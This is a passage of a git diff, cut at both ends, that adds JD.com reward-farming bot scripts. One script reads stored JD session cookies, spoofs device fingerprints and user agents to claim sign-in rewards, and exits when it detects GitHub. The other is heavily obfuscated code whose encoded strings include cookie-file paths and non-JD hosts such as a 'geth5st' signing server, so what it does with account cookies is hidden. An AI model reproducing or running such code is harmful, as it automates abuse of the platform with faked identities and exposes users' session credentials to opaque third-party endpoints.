(e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/jd_sign_graphics.js b/jd_sign_graphics.js new file mode 100644 index 0000000..4db3eaf --- /dev/null +++ b/jd_sign_graphics.js @@ -0,0 +1,271 @@ +/* +cron 10 8 * * * jd_sign_graphics.js +只支持nodejs环境 +需要安装依赖 +npm i png-js 或者 npm i png-js -S + +*/ + +const Faker = require('./sign_graphics_validate.js') +const $ = new Env('京东签到翻牌'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let message = '', subTitle = '', beanNum = 0; +let fp = '' +let eid = '' +let UA = "" +let signFlag = false +let successNum = 0 +let errorNum = 0 +let JD_API_HOST = 'https://sendbeans.jd.com' +const turnTableId = [ + { "name": "翻牌", "id": 1082, "shopid": 1000004123, "url": "https://sendbeans.jd.com/jump/index/" }, + { "name": "翻牌", "id": 815, "shopid": 887726, "url": "https://sendbeans.jd.com/jump/index/" }, + //{ "name": "翻牌", "id": 1419, "shopid": 1000007205, "url": "https://sendbeans.jd.com/jump/index/" }, +] + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.nickName = ''; + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + beanNum = 0 + successNum = 0 + errorNum = 0 + subTitle = ''; + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + getUA() + await signRun() + await $.wait(8000) + const UTC8 = new Date().getTime() + new Date().getTimezoneOffset() * 60000 + 28800000; + $.beanSignTime = new Date(UTC8).toLocaleString('zh', { hour12: false }); + let msg = `【京东账号${$.index}】${$.nickName || $.UserName}\n【签到时间】: ${$.beanSignTime}\n【签到概览】: 成功${successNum}个, 失败${errorNum}个\n${beanNum > 0 && "【签到奖励】: " + beanNum + "京豆" || ""}\n` + message += msg + '\n' + $.msg($.name, msg); + } + } + // await showMsg(); +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function showMsg() { + $.msg($.name, `【签到数量】: ${turnTableId.length}个\n` + subTitle + message); + if ($.isNode() && message) await notify.sendNotify(`${$.name}`, `【签到数量】: ${turnTableId.length}个\n` + subTitle + message); +} +async function signRun() { + for (let i in turnTableId) { + signFlag = false + await Login(i) + if (signFlag) { + successNum++; + } else { + errorNum++; + } + await $.wait(1000) + } +} + +function Sign(i) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}/api/turncard/chat/sign?turnTableId=${turnTableId[i].id}&shopId=${turnTableId[i].shopid}&fp=${fp}&eid=${eid}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'Host': `sendbeans.jd.com`, + "Referer": "https://sendbeans.jd.com/jump/index/", + "User-Agent": $.UA, + } + } + // console.log(options); + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 签到: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.success && data.data) { + data = data.data + if (Number(data.jdBeanQuantity) > 0) beanNum += Number(data.jdBeanQuantity) + signFlag = true; + console.log(`${turnTableId[i].name} 签到成功:获得 ${Number(data.jdBeanQuantity)}京豆`) + } else { + if (data.errorMessage) { + if (data.errorMessage.indexOf('已签到') > -1 || data.errorMessage.indexOf('今天已经签到') > -1) { + signFlag = true; + } + console.log(`${turnTableId[i].name} ${data.errorMessage}`) + } else { + console.log(`${turnTableId[i].name} ${JSON.stringify(data)}`) + } + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function Login(i) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}/api/turncard/chat/detail?turnTableId=${turnTableId[i].id}&shopId=${turnTableId[i].shopid}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'Host': `sendbeans.jd.com`, + "Referer": "https://sendbeans.jd.com/jump/index/", + "User-Agent": $.UA, + } + } + // console.log(options); + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) + console.log(`${JSON.stringify(err)}`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.success && data.data) { + data = data.data + if (!data.hasSign) { + let arr = await Faker.getBody(UA, turnTableId[i].url) + fp = arr.fp + await getEid(arr) + await Sign(i) + } else { + if (data.records && data.records[0]) { + for (let i in data.records) { + let item = data.records[i] + if ((item.hasSign == false && item.index != 1) || i == data.records.length - 1) { + if (item.hasSign == false) i = i - 1 + beanNum += Number(data.records[i].beanQuantity) + break; + } + } + } + signFlag = true; + console.log(`${turnTableId[i].name} 已签到`) + } + } else { + if (data.errorMessage) { + if (data.errorMessage.indexOf('已签到') > -1 || data.errorMessage.indexOf('今天已经签到') > -1) { + signFlag = true; + } + console.log(`${turnTableId[i].name} ${data.errorMessage}`) + } else { + console.log(`${turnTableId[i].name} ${JSON.stringify(data)}`) + } + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function getEid(arr) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${arr.a}`, + body: `d=${arr.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "User-Agent": $.UA + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function getUA() { + $.UA = `jdapp;iPhone;10.1.0;14.3;${$.UUID};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} + +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_speed_redpocke.js b/jd_speed_redpocke.js new file mode 100644 index 0000000..19f164a --- /dev/null +++ b/jd_speed_redpocke.js @@ -0,0 +1,27 @@ +/* +京东极速版红包 +自动提现微信现金 +更新时间:2021-8-2 +活动时间:2021-4-6至2021-5-30 +活动地址:https://prodev.m.jd.com/jdlite/active/31U4T6S4PbcK83HyLPioeCWrD63j/index.html +活动入口:京东极速版-领红包 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东极速版红包 +20 0,22 * * * jd_speed_redpocke.js, tag=京东极速版红包, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "20 0,22 * * *" script-path=jd_speed_redpocke.js,tag=京东极速版红包 + +===============Surge================= +京东极速版红包 = type=cron,cronexp="20 0,22 * * *",wake-system=1,timeout=3600,script-path=jd_speed_redpocke.js + +============小火箭========= +京东极速版红包 = type=cron,script-path=jd_speed_redpocke.js, cronexpr="20 0,22 * * *", timeout=3600, enable=true +*/ +var _0xodf='jsjiami.com.v6',_0xodf_=['‮_0xodf'],_0x16b2=[_0xodf,'546w6YeRCg==','eHh4QXI=','UmRPWWk=','Z3B4cmk=','VGFrQVc=','RWlPZXQ=','SnNKYVc=','MzEw','akl6alQ=','REFZX0RBWV9SRURfUEFDS0VUX1NJR04=','ZGF5RGF5UmVkUGFja2V0','YXBDYXNoV2l0aERyYXc=','ZWdOVHA=','V3RKQ0E=','clJodG4=','cXdJdEM=','ZmlNc0k=','ZWRHdHA=','S2ZDSEo=','RXFEQ3g=','Wk9pQk0=','RkFncmQ=','a1NObXA=','S0lvRnE=','QkhleXA=','WUpwT1A=','SG92WGM=','c3RhdHVz','VkpydEI=','TGJZRW4=','YldLS0c=','5p6B6YCf54mI562+5Yiw5o+Q546w546w6YeR5oiQ5Yqf77yB','5p6B6YCf54mI562+5Yiw5o+Q546w546w6YeR77ya5byC5bi4Og==','YWN0aXZpdGllc19wbGF0Zm9ybQ==','NEFWUWFvK2VIOFE4a3ZtWG5XbWtHOGVmL2ZOcjVmZGVqbkQ5KzlVZ2JlYz0=','aHR0cHM6Ly9hcGkubS5qZC5jb20v','cGFydGljaXBhdGVJbnZpdGVUYXNr','aHR0cHM6Ly9hc3NpZ25tZW50LmpkLmNvbQ==','aHR0cHM6Ly9hc3NpZ25tZW50LmpkLmNvbS8=','ZE11dnU=','SVNDaXU=','cXNJWFA=','ZUJlb0k=','dHBnSnA=','bWVzc2FnZQ==','VVJkYmQ=','SnBoZ0U=','VEhvZ20=','U1BSSU5HX0ZFU1RJVkFMX1JFRF9FTlZFTE9QRQ==','SkVZYWg=','UEJ0Wmg=','VVFxbXY=','cmZjdnA=','eEhxd1g=','WnBxcnA=','QUFZUmU=','R1dsbkc=','d1l5Slg=','eEtFT3c=','Um12cG8=','eHNNZkE=','aUtSVEU=','VUZjUnk=','QlF3SFE=','WFhqSFY=','V1lUR0Q=','Y1dFekc=','dWhvenA=','akxscHk=','ckNuSEQ=','Uk5zUlI=','VmFUc0E=','RlJsRko=','YmRMWms=','Wk5mWmQ=','dGxmZHc=','SEdxeUY=','cUdQZkc=','YkxadUs=','RlFNZGc=','VVBkZUM=','U0t5Rkk=','ZlN0d2k=','5o+Q546w6Zu26ZKx57uT5p6c77ya','cm9sbmg=','U1VkVkQ=','WVdnUHA=','R1ptb2s=','5o+Q546w5oiQ5Yqf77yB','5o+Q546w5oiQ5Yqf77yBCg==','ZktYaGE=','Y0VsQWw=','5o+Q546w5aSx6LSl77ya','aU5RaEQ=','YXBwaWRTaWdu','U0t0aFk=','UEV6bVM=','VE1jUU0=','YXFjVk4=','ZnVuY3Rpb25JZD1UYXNrSW52aXRlU2VydmljZSZib2R5PQ==','Um91Rkw=','Q01Yak4=','JmFwcGlkPW1hcmtldC10YXNrLWg1JnV1aWQ9Jl90PQ==','UWJHSVg=','YW5CaWo=','TVFBdkU=','T0FsRVc=','Q1NZeUI=','Q0diaE0=','TWJkeng=','QXNpWHo=','RHRNZHk=','aVh5TUM=','5o+Q546w5byC5bi477ya','ckJ1d1M=','dWFtbE0=','QWtKSGY=','SEp3WWI=','ZnVuY3Rpb25JZD0=','anNMWW8=','JmFwcGlkPWFjdGl2aXRpZXNfcGxhdGZvcm0mY2xpZW50PUg1JmNsaWVudFZlcnNpb249MS4wLjA=','THRTeGs=','TnJVZlc=','ZEV3RWM=','enpZcGQ=','dnNtSXc=','Qnd6bmM=','enZpaUI=','YldOVVI=','ZFRKeGs=','dkpPU20=','Y3Vsa3g=','UUx2eXI=','ckNwbk0=','c29lbFY=','bGRvT08=','V096QVA=','bHlCaGc=','anRaYmI=','THBiYlM=','RFR4dEM=','Y2xpZW50','Y2xpZW50VmVyc2lvbg==','MS4wLjA=','MTUwOTc=','SnluUVo=','TG5iT2g=','aUhkamg=','ZmhDUEg=','RWhYd0w=','QXBUVVo=','aHR0cHM6Ly9tZS1hcGkuamQuY29tL3VzZXJfbmV3L2luZm8vR2V0SkRVc2VySW5mb1VuaW9u','bWUtYXBpLmpkLmNvbQ==','Ki8q','a2VlcC1hbGl2ZQ==','Li9VU0VSX0FHRU5UUw==','SkRVQQ==','amRhcHA7aVBob25lOzkuNC40OzE0LjM7bmV0d29yay80ZztNb3ppbGxhLzUuMCAoaVBob25lOyBDUFUgaVBob25lIE9TIDE0XzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMQ==','emgtY24=','aHR0cHM6Ly9ob21lLm0uamQuY29tL215SmQvbmV3aG9tZS5hY3Rpb24/c2NlbmV2YWw9MiZ1ZmM9Jg==','cU14U2Y=','WXJZanI=','clhTeXc=','bGFObk4=','eWhUZGU=','b3NNeFY=','Z010Wms=','d1VHQVU=','VlpaQnM=','T1pRZUc=','RUFuQ08=','bHhSSmE=','SGlRSGU=','dnJHRVI=','Wm5MWno=','cHZiZno=','UVRhSng=','Q2p0YkQ=','UmFIWE8=','cnNoUXY=','S1VBelA=','bEJZZlc=','dGltT2w=','Y29jSm4=','SkRfVVNFUl9BR0VOVA==','bWpIU3I=','VVdVQlo=','RXlSZFg=','VXdsekw=','a3dodlE=','WXJaek0=','SEVLU1Y=','RGlsUFg=','V2Nsem8=','RWlianY=','VXFpT2U=','WnhmcU0=','ZmxJUFY=','RHZieWw=','YVhpY0Y=','clJ2R3o=','b2FVUWs=','SU9STXg=','ZUlzbXU=','WndVSXo=','YU5Kdm0=','UG5DTVc=','SVdMY2w=','dHFjRE8=','TlFQYm0=','WUxMUWc=','cXRFdFI=','V05uS1A=','RFh1QWM=','amxObFg=','dlRrcUU=','VGxBcm8=','RUVlb0Q=','ak9ucUs=','UUZrTWE=','U0pXZW4=','UE1kdlQ=','bmxVWXk=','WWJwT0w=','QXdSeUE=','Yk1iSlI=','TGFzVHY=','5Lqs5Lic5pyN5Yqh5Zmo6K6/6Zeu5pWw5o2u5Li656m677yM6K+35qOA5p+l6Ieq6Lqr6K6+5aSH572R57uc5oOF5Ya1','TWNmQnc=','dFRERnE=','SXlPc3c=','SXBSZmo=','bGR0Qk4=','bFFoU2Y=','dUVlRk0=','bFZmeEg=','ZHRXRWk=','ZndVeVM=','UU9JdEY=','R2tOZm4=','YXFOWXE=','WGpHS1M=','amRzaWduLmNm','T0pEeGU=','ZndWUHY=','S2hOUVY=','YXBwbGljYXRpb24vanNvbg==','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM18yXzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzEzLjAuMyBNb2JpbGUvMTVFMTQ4IFNhZmFyaS82MDQuMSBFZGcvODcuMC40MjgwLjg4','TXpUR3U=','c25zdlY=','SG5yZGE=','WWpSV0w=','b0FpRlE=','VlNtTGk=','dW5KbFU=','dWNHa1Q=','QXV3VmI=','RkZZWVg=','Unp6bEM=','cnlrdVo=','a1NPSkM=','cEhzdXo=','aEVad1E=','aXpNcUk=','TEZEa3c=','aHR0cHM6Ly9jZG4ubnoubHUvZ2V0aDVzdA==','V0x6Z1k=','R3RHV1I=','RllCWnU=','SXFMRmM=','U2dMdlk=','UkFkTWk=','WHF5Z2k=','TG9mdmM=','cHZmTHY=','IGdldGg1c3QgQVBJ6K+35rGC5aSx6LSl77yM6K+35qOA5p+l572R6Lev6YeN6K+V','dktkbkc=','bmp1ZE4=','UGR3ZGg=','Skh3eVQ=','MDcyNDQ=','S0VKb00=','Z3R5TWI=','Q3ZUT1g=','Ym9keQ==','aWdhRkU=','dUdsTGw=','ZFJhZlg=','VEd4TG4=','YnlCRlo=','YVBsS3Y=','ZGpSWGM=','a3N4d3k=','WVFmTUQ=','eHJoRVg=','YXNzaWdu','YmxIdko=','d2VaWlE=','Z0lOdU8=','QUZxRHg=','S2RXcEw=','RFZ3am8=','YWV6bUc=','ZXVHaXk=','RlhmVWE=','WFV5REQ=','aVZDRVE=','cE5wY0k=','cFF2aHE=','Q0dwUWw=','TklOTGQ=','alZPS2E=','WEVMV3M=','Zm15TnQ=','c3BFeWM=','dWFQUWE=','WXdqWmo=','VWNJaG8=','S1NyRE4=','VWJrdU4=','aGpsT04=','YXNsSGE=','dXNBYVA=','bHlSZEI=','SER5d0k=','YnhVY0c=','ck1YUEY=','cXBmTmM=','WU5GQWY=','cklEaW8=','bWRGVFo=','d1ZISXg=','RE5RcG0=','S3hDWUg=','bEVmb2c=','bktmVEI=','YUlzWU8=','UnBNQmk=','c05rRHc=','elVFVnA=','TnhkSEU=','eEpTYkY=','5Lqs5Lic5p6B6YCf54mI57qi5YyF','aXNOb2Rl','Li9zZW5kTm90aWZ5','Li9qZENvb2tpZS5qcw==','RXU3LUUwQ1V6cVl5aFpKbzlkM1lrUQ==','OVdBMTJqWUd1bEFyeldTN3Zjcndodw==','a2V5cw==','Zm9yRWFjaA==','cHVzaA==','ZW52','SkRfREVCVUc=','ZmFsc2U=','bG9n','c3RyaW5naWZ5','aW5kZXhPZg==','R0lUSFVC','ZXhpdA==','Z2V0ZGF0YQ==','Q29va2llSkQ=','Q29va2llSkQy','Q29va2llc0pE','bWFw','Y29va2ll','ZmlsdGVy','c3RyaW5n','6K+35Yu/6ZqP5oSP5ZyoQm94SnPovpPlhaXmoYbkv67mlLnlhoXlrrkK5bu66K6u6YCa6L+H6ISa5pys5Y676I635Y+WY29va2ll','eGJ5ZmM=','WWF2UWE=','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','TVROTXU=','V2R6Ync=','RGxLUUc=','T25yZ1U=','bG9nRXJy','bXNn','bmFtZQ==','Y1FIVWE=','aWRhbUQ=','WUNFemU=','bGVuZ3Ro','CuWmguaPkOekuua0u+WKqOeBq+eIhizlj6/lho3miafooYzkuIDmrKHlsJ3or5UK','VXNlck5hbWU=','Y2ZiQkc=','bWF0Y2g=','aW5kZXg=','SXlOT0w=','aXNMb2dpbg==','bmlja05hbWU=','aW1Iam8=','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','ZlRPT0k=','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','c2VuZE5vdGlmeQ==','Y29va2ll5bey5aSx5pWIIC0g','Cuivt+mHjeaWsOeZu+W9leiOt+WPlmNvb2tpZQ==','YWNSdGk=','QlZVQ28=','cGFyc2U=','Um9PTnA=','ZklTR2c=','Y2F0Y2g=','LCDlpLHotKUhIOWOn+WboDog','ZmluYWxseQ==','ZG9uZQ==','d29qako=','YVF6WEo=','YnpuWUE=','SGpKTVE=','RmRyaU0=','R3lLam0=','U01OTko=','IEFQSeivt+axguWksei0pe+8jOivt+ajgOafpee9kei3r+mHjeivlQ==','ZnlmTFo=','d2FpdA==','VlJ3VXU=','Ukt6c1I=','ZGJmdVQ=','ek9QYks=','QXlBbnU=','b1dZRnM=','U2R6YVM=','b0tXQWw=','b0VYd2U=','b2JqZWN0','ZGF5RGF5U2lnbkdldFJlZEVudmVsb3BlU2lnblNlcnZpY2U=','YXBTaWduSW5fZGF5','YXBpLm0uamQuY29t','YXBwbGljYXRpb24vanNvbiwgdGV4dC9wbGFpbiwgKi8q','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGV